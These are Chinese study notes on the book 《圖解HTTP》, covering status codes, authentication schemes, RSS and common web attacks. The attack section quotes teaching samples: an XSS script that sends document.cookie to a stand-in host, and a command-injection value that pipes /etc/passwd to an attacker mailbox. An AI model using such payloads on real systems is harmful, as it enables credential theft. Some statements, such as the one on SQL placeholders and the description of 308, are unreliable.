  • <s>305 使用代理:客戶端只能透過響應中提供的代理訪問請求的資源。305請求必須生成自原始伺服器。</s>(已廢棄)
  • 307 臨時重定向:伺服器告訴客戶端他們尋找的資源已經被臨時重定向到另一個 URL。 它與 SEO 效能有關。除非請求方法是 HEAD,否則響應應該包含一個帶有超連結的簡短超文字註釋。
  • 308 永久重定向:伺服器告訴客戶端他們尋找的資源已經被臨時重定向到另一個 URL。

4.1.3 4XX:客戶端錯誤

HTTP1.1 協議原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.5.1

  • 400 錯誤請求:客戶端傳送的請求包含不完整的資料、構造不良的資料或無效的資料。
  • 401 未授權:客戶端訪問請求的資源需要授權。響應內容中需要包含www-Authnticate 頭資訊和詢問資訊,如果已經存在證照訪問還是401說明證照已經不被接受,如果401和前一個身份驗證請求相同,並且瀏覽器進行了至少一次重試,則瀏覽器應該展示響應包含的實體資訊(也就是診斷資訊)。
  • 403 Forbidden:客戶端嘗試訪問的資源被禁止。和401的區別是不提供任何身份認證的幫助,也不允許重複提交,服務端有義務宣告不能訪問的理由。
  • 404 未找到:伺服器可訪問,但客戶端查詢的特定頁面不可訪問或者資源不存在。服務可以利用這個狀態碼暴露自己服務存在的同時不想暴露“資源存在”。
  • 405 Method Not Allowed:伺服器已接收並識別請求,但拒絕了特定的請求方法。該響應必須返回一個Allow 頭資訊用以表示出當前資源能夠接受的請求方法的列表。
    對於一些修改伺服器資源資料的請求方法比如PUT和DELETE通常不被允許。
  • 406 不可接受:網站或 Web 應用程式不支援具有特定協議的客戶端請求。請求的資源的內容特性無法滿足請求頭中的條件,因而無法生成響應實體。
  • 407 需要代理身份驗證:此狀態程式碼類似於 401 未授權。 唯一的區別是授權需要由代理完成。
  • 408 請求超時:客戶端向網站伺服器傳送的請求已過期。客戶端可以隨時再次提交這一請求而無需進行任何更改。
  • 409 衝突:傳送的請求與伺服器的內部操作發生衝突。注意只有在客戶端具備自身處理能力,比如重新提交請求的前提下才能返回此狀態碼,響應資訊中也需要提供衝突的源頭內容。
    此外 衝突通常會發生在PUT請求當中,在使用版本檢查的情況下,如果某次請求附帶的版本資訊和之前的內容衝突,就會返回此響應碼。
  • 410 Gone:客戶端想要訪問的資源已被永久刪除。主要用於服務端想要刪除某個資源並且告知使用者此資源不再接受訪問的一種提示。注意這個狀態碼很像404,最大的區別是資源是否永久不存在

不常見的HTTP 4XX狀態碼

用的比較少,遇到了再來查詢即可。

  • 402 需要付款
  • 412 失敗預處理
  • 415 不支援的媒體型別
  • 416 請求的範圍不滿足。請求的 Range 標頭欄位中沒有一個範圍與所選資源的當前範圍重疊,或者由於無效範圍或對小範圍或重疊範圍的請求過多而拒絕了請求的範圍集。
  • 417 期望失敗
  • 422 不可處理的實體
  • 423 鎖定
  • 424 失敗的依賴
  • 426 需要升級
  • 429 請求過多
  • 431 請求頭欄位太大
  • 451 因法律原因不可用

4.1.4 5XX:服務端錯誤

HTTP1.1 協議原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.6.1

5XX開頭的狀態碼通常為伺服器錯誤,表明客戶端傳送的請求沒有問題,但是伺服器不能正常處理請求。

  • 500 內部伺服器錯誤:伺服器在處理客戶端請求時遇到無法處理的情況。注意這是一個籠統的錯誤,並不知道錯誤的具體原因。
  • 501 未實現:伺服器不知道或無法解析客戶端傳送的請求方法。
  • 502 錯誤閘道器:伺服器充當閘道器或代理並從入站伺服器收到無效訊息。
  • 503 服務不可用: 伺服器可能已關閉 並且無法處理客戶的請求。 此 HTTP 狀態程式碼是您在 Web 上可能遇到的最常見的伺服器問題之一。
  • 511 需要網路身份驗證:客戶端需要在網路上進行身份驗證才能訪問資源。

其他不太常見的 5XX HTTP 狀態程式碼包括:

  • 504 閘道器超時:伺服器充當閘道器或者代理的時候,沒有收到響應。和408的區別是408是服務端接受客戶端超時,504是代理接收服務端超時。
  • 505 不支援HTTP版本,伺服器不支援或拒絕支援 HTTP 協議,表示伺服器無法處理或者不願意處理。
  • 506  Variant Also Negotiates:伺服器有一個內部配置錯誤,選擇變體資源配置為主機參與透明內容協商,表明當前伺服器不是適當的透明協商節點,無法處理。
  • 507 儲存空間不足:當前伺服器無法處理資源請求。可以認為是一種臨時情況。
  • 508 檢測到環路:伺服器終止了操作,因為它在處理具有“深度:無窮大”的請求時遇到了無限迴圈。 此狀態表示整個操作失敗。
  • 510 未擴充套件:請求中未滿足訪問資源的策略。伺服器應發回客戶端發出擴充套件請求所需的所有資訊。

4.2 選擇合適的狀態碼定義

下面根據狀態碼介紹,瞭解如何為方法設定合適的狀態碼定義。實際上專案中介面更多使用一套自定義的規則去響應,而不是用HTTP自身定義的一些Code。

這部分內容同樣只記錄了常見請求的,其他請求使用機率通常比較小。

GET/HEAD/POST

最常見的狀態定義:

  • 201 Created:伺服器確認建立的資源。 
  • 206 Partial Content:伺服器僅傳送資源的一部分。
  • 303 檢視其他:此程式碼告訴客戶端伺服器不是將它們重定向到請求的資源,而是重定向到另一個頁面。
  • 304 Not Modified:請求的資源自上次傳輸後沒有改變。如果使用強快取校驗器,則響應不能包含實體標頭,如果304響應沒用指示條件情況下則進行重複請求,如果304響應包含快取條目,則同樣需要按照快取條目更新到本地。
  • 416  請求的範圍不滿足。請求的 Range 標頭欄位中沒有一個範圍與所選資源的當前範圍重疊,或者由於無效範圍或對小範圍或重疊範圍的請求過多而拒絕了請求的範圍集。
    注意:由於伺服器可以自由地忽略 Range,因此許多實現將簡單地以 200 OK 響應中的整個選定表示形式進行響應。

案例:

HTTP/1.1 416 Range Not Satisfiable

Date: Fri, 20 Jan 2012 15:41:54 GMT

Content-Range: bytes */47022

tjhttp 六、《圖解HTTP》- 使用者身份認證

知識點

  1. 身份認證的幾種常見方式

    1. BASIC認證(基本認證)
    2. DIGEST認證(摘要認證)
    3. SSL客戶端認證
    4. FormBase認證(表單認證)
  2. 重點介紹SSL認證細節,其他認證方式可以不看或者跳過。
  3. Keberos 認證和NTLM 認證,Keberos 認證是大資料身份認證的事實標準,大資料相關領域工作者有必要關注。

6.1 概覽

常見的使用者身份認證方式:

  1. 密碼
  2. 動態令牌
  3. 數字證照
  4. 生物人證
  5. IC卡

在HTTP1.1中通常存在下面幾種認證方式:

  • BASIC認證(基本認證)
  • DIGEST認證(摘要認證)
  • SSL客戶端認證
  • FormBase認證(表單認證)

6.2 SSL認證

由於SSL認證是我們日常開發基礎最多的的,所以首先來理解一下。

SSL是同時使用對稱加密和非對稱加密的方式,在連結的過程中使用非對稱加密,而在連線之後使用對稱加密,類似在兩邊先透過身份牌認識雙方,然後用特定的通行證完成雙方的通訊。

安全套接字層 (SSL) 技術透過加密資訊和提供鑑權,保護您的網站安全。一份 SSL 證照包括一個公共金鑰和一個私用金鑰。公共金鑰用於加密資訊,私用金鑰用於解譯加密的資訊。瀏覽器指向一個安全域時,SSL 同步確認伺服器和客戶端,並建立一種加密方式和一個唯一的會話金鑰。它們可以啟動一個保證訊息的隱私性和完整性的安全會話。

6.2.1 基本工作原理

對於SSL的認證方式,基本的流程如下(注意這裡省略一步是客戶端需要安裝SSL證照):

  1. 客戶端傳送請求,服務端接收到認證資源,同時傳送Certificate Request報文,同時要求客戶端提供證照。
  2. 使用者選擇客戶端證照透過Client Certificate報文的方式傳給伺服器。
  3. 伺服器驗證客戶端證照拿到客戶端的金鑰資訊,之後開始HTTPS對稱加密通訊。

當然書中提到的模糊的互動過程,下面是關於SSL兩種認證方式的區別和細節:

6.2.2 單向認證

單向認證在整個SSL握手流程中僅僅單向驗證了伺服器的SSL證照。因此這個單向認證過程使客戶端瀏覽器可以連線到正確的網站伺服器,並且僅透過安全連線將所有資料傳輸到目標站點。

  1. 客戶端傳送SSL協議版本號,加密演算法,隨機數等資訊。
  2. 服務端給客戶端回傳客戶端所傳送的這一類資訊,同時返回服務端的證照,也就是公鑰證照。
  3. 客戶端校驗服務端證照的合法性,合法正確通訊,否則停止通訊並且警告,具體內容如下:

    • 證照是否過期。
    • 發行伺服器CA可靠性。
    • 返回公鑰是否正確解開並且和伺服器的實際域名匹配。
    • 伺服器證照域名是否和伺服器的實際域名匹配。
  4. 客戶端傳送自己支援的加密方案,提供伺服器選擇。
  5. 伺服器選擇提供的加密方案中加密程度最高的方案,告知客戶端使用此加密方案加密。
  6. 伺服器選好加密方案透過明文方式發給客戶端。
  7. 客戶端收到加密方案,使用方案生成隨機碼,以此作為對稱加密的金鑰,再利用服務端返回的公鑰加密隨機號碼,加密後的隨機碼發給伺服器。
  8. 服務端收到客戶端的加密資訊之後,用自己私鑰解密並且對稱加密金鑰。服務端和客戶端使用隨機生成的密碼進行對稱加密,保證資訊保安。

單向認證

6.2.3 雙向認證

主要的步驟和單向認證一致,這裡僅僅介紹有差別的步驟,主要差別是在客戶端傳送加密方式之前,服務端會多一步索要客戶端證照的步驟,然後在選擇好加密方式之後不是透過明文的方式而是透過客戶端給的公鑰進行加密再進行返回。而其他步驟基本照舊,最終改動如下:

  1. 客戶端傳送自己支援的加密方案,提供伺服器選擇。在此之前插入兩個步驟 =>
  2. 服務端要求客戶端傳送客戶端的證照,客戶端會將自己的證照傳送至服務端
  3. 驗證客戶端證照,透過認證獲得客戶端公鑰。
  4. 伺服器選好加密方案透過明文方式發給客戶端之後新增 => 加密方式透過之前獲取的公鑰進行加密(不使用明文),返回給客戶端。

6.3 表單認證

表單認證也就是我們常說的賬號密碼登入。絕大多數的網站基本使用表單認證+SSL認證結合的方式,基本能保證99%的請求能建立安全連結,保證客戶的資訊不被竊取。但是因為表單認證沒有規範和標準,質量也參差不齊,所以不是所有網站有表單認證就是安全的,但是有比沒用強不少。

6.4 Cookie和Session管理

CookieSession 作為HTTP無狀態的一種使用者資訊暫存的補救機制,作用是讓客戶在登入某個網站之後可以保持一段時間或者很長一段時間不需要重新登入,或者說儲存一些網站的賬戶密碼登入的時候自動填充,總之是提升瀏覽器使用體驗的東西。

CookieSession 通常是一起作用的,下面是客戶登入中 CookieSession 作用的基本流程:

  1. 客戶端透過表單傳送資訊伺服器進行表單認證。
  2. 伺服器認證傳送SessionID,把使用者認證狀態和SessionID繫結。
向客戶端返回響應時,會在首部欄位 Set-Cookie 內寫入 Session ID(如 PHPSESSID=028a8c…)。
  1. 客戶端接受SessionId作為Cookie儲存本地,下次再次請求會帶入Cookie並且隨著SessionId一起傳送,服務端基於SessionId識別使用者和認證狀態。

SessionID應該保證其安全性和難以推測的特性,常見處理方式使用加鹽對於密碼進行二次的雜湊處理,這種方式是使用比較多的方式,防止XSS攻擊獲取到密文之後解密獲得賬戶密碼。

Cokkie和Session

為減輕跨站指令碼攻擊(XSS)造成的損失,建議事先在 Cookie 內加上 httponly 屬性。

6.5 BASIC 認證和DIGEST 認證

6.5.1 BASIC 認證

BASIC 認證(基本認證)是從 HTTP/1.0 就定義的認證方式。還有極少部分網站在使用,作為大概瞭解即可。

大致步驟如下:

  1. 需要 BASIC 認證時,伺服器會隨狀態碼 401 Authorization Required,返回帶WWW-Authenticate首部欄位的響應。
  2. 狀態碼 401 Authorization Required通知客戶端需要BASIC認證。為了透過BASIC認證,需要把ID密碼發給客戶端,加密方法是串聯使用者ID和密碼用連線符冒號連結,然後Base64加密。
  3. 伺服器接收到包含首部欄位 Authorization 請求,然後返回一條Request-URI響應。

BASIC 認證

可以看到整個過程最大的問題是Base64不加密,一旦獲取到傳輸資訊透過字典暴力破解基本兩下就可以解開。

為了解決Basic認證問題,後續出現了DIGEST 認證進行升級,HTTP/1.1 起就有了 DIGEST 認證,DIGEST 認證同樣使用質詢 / 響應的方式。

什麼是質詢呢?指的是一方傳送認證請求之後需要利用伺服器返回的質詢碼生成響應碼,最後透過響應碼認證。

質詢請求

6.5.2 DIGEST 認證

整個 DIGEST 認證的過程如下:

  1. 需要認證時,伺服器會隨狀態碼 401 Authorization Required,返回帶WWW-Authenticate首部欄位的響應,同時Authenticate 還會傳送響應認證需要的臨時質詢碼。
  2. 接收到 401 狀態碼的客戶端,返回的響應中包含 DIGEST 認證必需的首部欄位 Authorization 資訊。
  3. 伺服器接收到包含首部欄位 Authorization 請求,然後返回一條 Request-URI 響應。

DIGEST和BASIC認證看上去比較像,但是在安全性上比使用明文Base64多了一重認證,所以安全性要高上不少。但是因為認證方式十分不靈活所以使用的範圍依然受限。

現如今的主流認證方式使用身份令牌+對稱加密的方式,實際上和質詢認證的方式類似,只不過整個流程和細節更加完善一點而已。

另外身份令牌一般用於介面對接,對於一般使用者通常依然使用表單認證。

6.6 Keberos 認證和NTLM 認證

Kerberos

是一種身份認證協議,被廣泛運用在大資料生態中,甚至可以說是大資料身份認證的事實標準。本文將詳細說明 Kerberos 原理。

題外話

Kerberos指的是西方神話中的地獄三頭犬。在古希臘神話中Kerberos含義:有著一隻三頭犬守護在地獄之門外,禁止任何人類闖入地獄之中。

image-20220728160016964

6.6.1 Kerberos 的優勢

  1. 密碼無需進行網路傳輸。基於 Ticket 實現身份認證,保障金鑰安全性。
  2. 雙向認證。整個認證過程中,不僅需要客戶端進行認證,待訪問的服務也需要進行身份認證。
  3. 高效能。一旦Client獲取到曾經訪問過某個Server的Ticket,該Server就能根據這個Ticket實現對Client的驗證,而無須KDC的再次參與。

NTLM

NTLM是NT LAN Manager的縮寫,NTLM是基於挑戰/應答的身份驗證協議,是 Windows NT 早期版本中的標準安全協議。

6.6.2 Kerberos 補充

個人粗略看了一下這個認證,看上去十分複雜並且流程繁瑣,這裡找了幾篇部落格作為儲備,有需要之後再來學習,推薦閱讀順序是213,其中第二篇整理的比較系統,第一篇雖然比較老但是是英文的加上給了很多圖,適合學技術同時順帶提升英語閱讀水平:

https://www.roguelynn.com/words/explain-like-im-5-kerberos/

https://blog.csdn.net/sky_jiangcheng/article/details/81070240

https://zhuanlan.zhihu.com/p/266491528

tjhttp 五、《圖解HTTP》- RSS和網路攻擊

本節是關於RSS和常見網路攻擊的討論,RSS似乎總是被認為“為什麼還沒有消失“的東西,但是個人透過了解和體驗之後發現意外的挺好用的。

而關於網路攻擊的部分有時候會成為面試的考點,瞭解基礎的網路攻擊手段和常見的防範方式還是有必要的。

知識點

  1. RSS歷史介紹,RSS的存在意義和價值,個人認為很適合自主學習的人使用。
  2. WEB 攻擊手段介紹,瞭解基礎和常見的攻擊手段,這些攻擊手段離我們日常生活並不遠。
  3. 關於瓶頸和未來發展是由於寫書時效性產生的一些“過時”內容,可以跳過。

5.1 RSS

5.1.1 RSS歷史

下面大部分內容來自維基百科,由於多半是理論內容,不做過多解釋。

RSS(簡單資訊聚合)和Atom都是針對新聞和部落格日誌資訊文件格式的合稱。

RSS(英文全稱:RDF Site Summary 或 Really Simple Syndication)中文譯作簡易資訊聚合,也稱聚合內容,是一種訊息來源格式規範,用以聚合多個網站更新的內容並自動通知網站訂閱者。

使用 RSS 後,網站訂閱者便無需再手動檢視網站是否有新的內容,同時 RSS 可將多個網站更新的內容進行整合,以摘要的形式呈現,有助於訂閱者快速獲取重要資訊,並選擇性地點閱檢視。

RSS的歷史版本更新如下:

  • RSS 0.9(RDF Site Summary):最初的 RSS 版本。1999 年 3 月由網 景通訊公司自行開發用於其入口網站。基礎構圖建立在初期的 RDF 規格上。
  • RSS 0.91(Rich Site Summary):在 RSS0.9 的基礎上擴充套件元素,於 1999 年 7 月開發完畢。非 RDF 規格,使用 XML 方式編寫。
  • RSS 1.0(RDF Site Summary):RSS 規格正處於混亂狀態。2000 年 12 月由 RSS-DEV 工作組再次採用 RSS0.9 中使用的 RDF 規格釋出。
  • RSS2.0(Really Simple Syndication):非 RSS1.0 發展路線。增加支 持 RSS0.91 的相容性,2000 年 12 月由 UserLand Software 公司開發完 成。

發展到現在RSS有幾個不同的版本,分為兩個主要分支(RDF和2.X)

RDF(或 RSS 1.X)分支包括以下版本:

  • RSS 0.90 是最初的Netscape RSS版本。此 RSS 稱為 _RDF 站點摘要_,但基於 RDF 標準的早期工作草案,與最終的 RDF 建議不相容。
  • RSS 1.0 是 RSS-DEV 工作組的開放格式,再次代表 _RDF 站點摘要_。RSS 1.0 是一種像 RSS 0.90 一樣的 RDF 格式,但與它不完全相容,因為 1.0 是基於最終的 RDF 1.0 推薦標準。
  • RSS 1.1 也是一種開放格式,旨在更新和替換 RSS 1.0。該規範是一個獨立的草案,不受 RSS-Dev 工作組或任何其他組織的任何支援或認可。

RSS 2.X 分支(最初是 UserLand,現在是 Harvard)包括以下版本:

  • RSS 0.91是Netscape釋出的簡化RSS版本,也是Userland Software的Dave Winer最初倡導的簡化版本的版本號。Netscape版本現在被稱為_Rich Site Summary_;這不再是RDF格式,但相對易於使用。
  • RSS 0.92 到 0.94 是 RSS 0.91 格式的擴充套件,它們大多彼此相容,並且與 Winer 版本的 RSS 0.91 相容,但與 RSS 0.90 不相容。
  • RSS 2.0.1 的內部版本號為 2.0。RSS 2.0.1 被宣佈為“凍結”,但在釋出後不久仍然更新,沒有更改版本號。RSS現在代表_真正簡單的整合_。此版本中的主要更改是使用 XML 名稱空間的顯式擴充套件機制。

5.1.2 Atom

同樣沒怎麼接觸的東西,整理百科的內容如下。

Atom是一對彼此相關的標準。Atom供稿格式(Atom Syndication Format)是用於網站訊息來源基於XML的文件格式;而Atom出版協定(Atom Publishing Protocol,簡稱AtomPub或APP)是用於新增及修改網路資源,基於HTTP的協議

它借鑑了各種版本RSS的使用經驗,被許多的聚合工具廣泛使用在釋出和使用上。Atom供稿格式設計作為RSS的替代品;而Atom出版協定用來取代現有的多種釋出方式(如Blogger API和LiveJournal XML-RPC Client/Server Protocol)。Google提供的多種服務正在使用Atom。Google Data API(GData)亦基於Atom。

RSS和Atom)都得到廣泛支援,並與所有主要的消費者提要閱讀器相容。RSS 由於早期訂閱源讀取器的支援而得到了更廣泛的應用。

從技術上講,Atom有幾個優點:限制較少的許可,IANA註冊的MIME型別,XML名稱空間,URI支援,RELAX NG**支援。

Atom 具有以下兩種標準。

Atom 供稿格式(Atom Syndication Format):為釋出內容而制定的 網站訊息來源格式,單講 Atom 時,就是指此標準。

Atom 出版協定(Atom Publishing Protocol):為 Web 上內容的新增 或修改而制定的協議。

關於更多的內容,可以參考這兩個網站:

The Atom Syndication Format:

https://www.rfc-editor.org/rfc/rfc4287.txt

Atom Syndication Format(IBM)

https://www.ibm.com/docs/en/cics-ts/5.3?topic=standards-atom-syndication-format

5.1.3 RSS意義

RSS多數情況下用於網路部落格應用的訂閱和自己的喜歡的網站資訊同步更新獲取,個人認為類似換種形式的微信公眾號,不過最近這幾年微信也在改變演算法,推送也從以前的一股腦推送,到現在的根據使用者的喜好推送。

RSS 放到現在還有意義麼?為什麼還有人在用呢?個人認為RSS訂閱最大的意義是 過濾噪聲,RSS訂閱的閱讀需要依賴閱讀器,關於軟體使用這一部分的內容請檢視“參考資料”。

RSS有幾個顯著優點:

  1. 由被動獲取資訊到主動獲取資訊。
  2. 規避各網際網路公司的演算法。
  3. 遮蔽網際網路的噪聲。
  4. 返璞歸真,並不是所有的“時代倒退”都是錯的。

這幾點基本也決定了很多平臺不會喜歡這東西,因為擋著財路了。

RSS當然有他的缺點,最大的缺點是 太過於小眾了,所以它有那一天會消失都不奇怪,由於幾乎沒有利益可圖,所以目前在競爭的反倒是做標準的幾個勢力,也是比較罕見的情況。

實際上,現在還有相當一部分人還在使用RSS。

5.2 WEB攻擊

HTTP為了實現其簡單高效,在HTTP1.X中保持了無狀態的特徵,所以本身對於安全防護的能力幾乎為0,基本上年年都可以看到重大的網路攻擊安全事故,因為根據墨菲定律這種事情總會發生。

攻擊方式主要分為主動攻擊和被動攻擊。

被動攻擊的方式主要是利用釣魚網站或者連結引導使用者點選,之後執行攻擊程式碼獲取使用者電腦的個人資訊等,主動攻擊則是類似DDos的流量衝擊。

多數情況下被動攻擊較多,因為幾乎沒有啥人工成本,而主動攻擊基本上是一些具備不小的流量價值的網站,經常會受到類似的攻擊。

下面根據書中內容列鉅額常見的WEB攻擊手段。

5.2.1 XSS攻擊

首先是較為常見的是XSS攻擊(跨站指令碼攻擊),主要透過非法的HTML標籤或者JS指令碼完成攻擊,透過預先設定網站陷阱,使用者在填寫個人的敏感資訊的時候就有可能中招。

http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 對請求時對應的HTML原始碼(摘錄)

除了獲取登入資訊,還有一種手段是透過JS 指令碼抓取Cookie的內容直接獲取使用者的個人資訊,比如使用像是下面這樣的程式碼:

var content = escape(document.cookie); 
document.write("<img src=http://hackr.jp/?"); 
document.write(content); 
document.write(">");

5.2.2 SQL隱碼攻擊

SQL隱碼攻擊主要發生在程式設計開發人員對待SQL不嚴謹遺留漏洞,進而產生SQL 注入攻擊。

比如書中提到了利用類似這樣的手段,透過在SQL引數中注入單引號方式,導致後續的SQL內容失效,來獲取一些無法訪問的資訊。

解決的辦法也比較簡單,需要注意儘量謹慎或者避免使用佔位符,而是使用特殊符號比如“?”的方式進行引數替換而不是直接嵌入SQL。

SQL明顯也是利用了SQL語法的規則完成這一特殊字元的注入操作,當然更多情況下是網站程式設計人員不嚴謹導致的。

如果你認為現在這種事情發生的很少就大錯特錯了,國內依然存在大量的網站連最為基礎的SQL隱碼攻擊問題都沒有進行防範。

5.2.3 OS攻擊

OS攻擊不算少見,雲伺服器中這幾年比較常見的挖礦指令碼算是一種,這種跟隨開源元件帶來的病毒討厭又噁心。

針對OS攻擊具體案例可以看下面使用獲取使用者郵件的方式找出OS的漏洞,並且透過管道符等命令快速竊取郵箱賬戶和密碼達成盜號的目的。

my $adr = $q->param('mailaddress');

open(MAIL, "| /usr/sbin/sendmail $adr"); 

print MAIL "From: info@example.com\n";

攻擊者將下面的值指定作為郵件地址。

; cat /etc/passwd | mail hack@example.jp

程式接收該值,構成以下的命令組合。

| /usr/sbin/sendmail ; cat /etc/passwd | mail [hack@example.jp](mailto:hack@example.jp)

5.2.4 DDos攻擊

非常直接並且粗暴野蠻的攻擊方式,透過大規模流量擊倒目標伺服器,讓目標伺服器一直處於癱瘓狀態無法訪問。所以也叫做拒絕服務攻擊服務停止攻擊

DDos的攻擊方式主要是下面兩種:

  • 集中訪問資源過載,實際上是植入需要大量運算的無意義程式耗盡計算機資源。
  • 攻擊系統漏洞致使服務停止。通常這種漏洞來源於開原始碼的漏洞。比如臭名昭著的FastJson三天兩頭的爆出漏洞需要修復。

對於攻擊者來說,DDos成本很低,因為國外可以透過大量購買肉雞伺服器完成這一操作,但是對於一個線上客戶訪問的獨立網站來說,要防護的方案實際上並不多,多數時候只能“燒錢”來解決問題,原因是無法分辨攻擊來源。

5.2.5 目錄遍歷攻擊

目錄攻擊是利用對於某些許可權敏感的路徑訪問獲取使用者密碼的行為,比如透過指令碼嘗試獲取到/etc/passwd的相關資訊。

5.2.6 跨站點請求偽造

也就是常說的CSRF攻擊,同樣是使用陷阱的方式誘導使用者操作,在獲取到使用者資訊之後透過使用者的身份完成一些“越界”操作。

5.2.7 會話攻擊

會話攻擊,對於很多網站Session資訊中儲存了和使用者登入的相關資訊,透過各種手段推測或者獲取使用者ID資訊,然後根據這些資訊偽造使用者身份完成登入操作。

上面這種攻擊是會話劫持,透過設陷阱或者暴力方式獲取資訊,另一種是利用使用者登入操作,使用相同的使用者ID等待使用者操作完成之後拿到當前的會話資訊訪問,有點類似悄咪咪更在別人身後進門不被發現,等進去只會守到主人離開再進去偷東西。

對於這樣的資訊防護,簡單的處理可以在認證的時候加入IP校驗規則,如果同一身份資訊但是從不同的IP發出,則可以認為是一種會話內容竊取。

5.2.8 點選劫持

利用網路iframe和透明元素的特性,在原始頁面上覆蓋被點選按鈕,這時候同樣會把相關的資訊帶過去。

5.2.9 密碼破解

密碼破解的手段通常是窮舉法字典攻擊,窮舉法通常利用使用者喜歡把類似生日或者姓名有關的資訊作為密碼的情況,透過試錯的方式進行強制破解,透過制定規則暴力破解,當然透過窮舉破解的前提是秘鑰的長度夠小,另外還有一種是對於已加密到密文進行破解,同樣使用查詢字典的方式進行試錯。

常見的加密破解方式為下面幾種:

  • 透過窮舉法·字典攻擊進行類推:也就是所謂的透過雜湊函式結合窮舉法和字典攻擊手法,這種手法適用於使用通用加密函式加密的系統。
  • 彩虹表:彩虹表(Rainbow Table)是由明文密碼及與之對應的雜湊值構成的一張資料庫表,被叫做彩虹表是因為裡面包含了各種加密函式加密的密文像是“彩虹”一樣,目的是減少窮舉和字典法的時間開銷。
    彩虹表是一種比較有效的破解手段。
目前在 https://freerainbowtables.com/ 這個網站上公佈的一張由大小寫字母及數字全排列的 1~8 位字串對應的 MD5 雜湊值構成的彩虹表
  • 拿到金鑰:透過網路劫持等手段獲取到使用者公鑰並且透過偽造金鑰的方法請求目標伺服器,最終實現欺騙伺服器獲取密文的破解手法。
  • 加密演算法的漏洞:找演算法的漏洞,對於目前主流的資訊加密演算法基本很難找到漏洞,所以算是成功率非常非常低的手段。

防止密碼破解的方式是對於密碼錯誤次數的校驗以及短時間內頻繁請求進行限制,對於已加密的資料,在原有到密碼密文還會加入一個叫做“鹽值”的內容。

5.2.10 後門程式

後門程式在發現漏洞的時候設定入口而不是直接攻擊。透過後門程式在漏洞上搗鬼,可以實現在日常訪問無感知問題的情況下完成資訊竊取,由於十分難以發現,後門程式是危險系統很高的WEB攻擊方式。

  • 開發階段作為 Debug 呼叫的後門程式。
  • 開發者為了自身利益植入的後門程式。
  • 攻擊者透過某種方法設定的後門程式。

這裡簡單說一下第二種在有不少的實際案例,比如簡單粗暴的支付網站透過後門程式隨機把收款碼替換的案例。

還有一種是類似“薅羊毛”的後臺程式,透過每一筆訂單收取“0.00*N1”的“手續費”,這樣的後臺程式如果不是火眼金睛基本難以發現,同時雖然數字很小,但是使用者量很大的情況下,這種收入實際上是一筆鉅款。

這些東西都是高壓線,千萬不要嘗試喲!

5.3 瓶頸和“未來”發展

當前我們現在看這本書書中提到的未來都已經實現了,這些內容簡單看看即可。

  • SPDY (HTTP2.0)
  • Ajax
  • WebSocket
  • Comet
  • HTTP長連線

5.3.1 SPDY - The Chromium Projects

這部分內容在[[《圖解HTTP》- HTTP協議歷史發展(重點)]]中的HTTP2.0的歷史進行了詳細闡述,這裡不再重複介紹。

5.3.2 Ajax

Ajax 的核心技術是名為 XMLHttpRequest 的 API,透過 JavaScript 指令碼語言的呼叫就能和伺服器進行 HTTP 通訊,利用Ajax可以完成WEB頁面區域性更新的操作。

5.3.3 Comet

這個單詞的原本含義叫做“彗星”,在WebSocket技術沒有完全解決瀏覽器相容問題之前,“伺服器推”(Comet技術)存在廣泛的應用需求,需求推動技術的發展,Comet 技術在Web端即時通訊的方案裡幾乎不可或缺。

在此之前的技術:

Comet之前還有一種更早的由伺服器推送實現的反向內容推送,那就是被時代逐漸拋棄的Flash,但是使用Flash的前提是使用者自願安裝。Flash可以很輕鬆的完成JS呼叫,並且提供XMLSocket類介面實現了反向推送,所以很長一段時間是服務端推送的唯一辦法。

還有一種技術是早就死掉的Java Applet,透過 java.net.Socket 或 java.net.DatagramSocket 或 java.net.MulticastSocket完成套接字連線並且服務端推送,但是它有一個致命缺陷是Applet 無法和JavaScript 結合完成實時頁面的動態重新整理。

Comet如何發展的?

實時Comet本身也是依賴著Ajax的普及擴充套件的,所以Comet 被定義為:基於 HTTP 長連線、無須在瀏覽器端安裝外掛的“伺服器推”技術為“Comet”。

Comet實現方式?

Commet的實現方式有兩種,第一種是基於 AJAX 的長輪詢(long-polling)方式,第二種是基於 Iframe 及 htmlfile 的流(streaming)方式

首先簡述一下第一種方式,長輪詢的方式需要不斷和和服務端建立HTTP握手連線,每次連線會浪費大量不必要的網路開銷。

第二種是使用iframe巢狀及 html file 的流(streaming)方式的方式,iframe這個標籤雖然早就被HTML不建議使用(並且廢棄了),但是曾經是作為實現長連結的少數選擇之一依然發揮重要作用。

原理非常簡單,就是在iframe的Src標籤當中巢狀獲取資料的URL,在Iframe中不返回頁面而是返回客戶端呼叫的JS程式碼, 客戶端收到服務端返回的JS調動就會去執行程式碼。

但是顯然iframe在很多瀏覽器中是不允許這種巢狀JS程式碼呼叫的,所以Google後續提出使用 ActiveX ,ActiveX其實就是封裝了一個基於 iframe 和 html file 的 JavaScript comet 物件

但是因為IE舊版本和Google和FIreFox互不相容,所以這個東西在過去曾經噁心至極(在IE的相容上),需要前端透過一些模板程式碼最佳化和處理,比較麻煩。

而使用Comet的方式是一旦發現服務端出現更新就立馬返回響應。使用延遲響應的方式模擬推送功能,收到請求Comet 會先將響應置於掛起狀態,當伺服器端有內容更新時,再返回該響應。

相關開源元件

  • Pushlet:開源的 Comet 框架,使用了觀察者模型
  • IComet: C++ 語言開發的支援百萬併發連線的 comet/push 伺服器

Comet 是過去解決服務端推送問題的過渡“外掛”,雖然一定程度解決了問題,但是屬於圍魏救趙,本質上客戶端傳送請求這一點沒有根本改變。

所以Comet 不需要花費過多精力,更多細節可以參考"參考資料部分的內容"。

5.3.4 HTTP 長連線特性

除了Comet 本身的諸多限制外,HTTP長連線本身也有一些值得注意的特性。

  1. HTTP1.1長連線存在限制,那就是客戶端不應該與伺服器端建立超過兩個的 HTTP 連線,在IE體現為超過兩個以上檔案下載被阻止。
  2. 伺服器端的效能和可擴充套件性,如果Ajax存在頻繁請求, Comet 會長時間佔用一個連線,在JAVA1.4中提供的Java.io 雖然可以實現連線空閒的時候把執行緒資源還給執行緒池,但是應對Ajax頻繁請求依然會存在一些問題,使得空閒連線較少而影響效能。為此Jetty存在一些針對Comet 的最佳化,在相關文章 “AJAX,Comet and Jetty”中進行過詳細介紹(但是很遺憾目前這篇文章已經找不到了)。
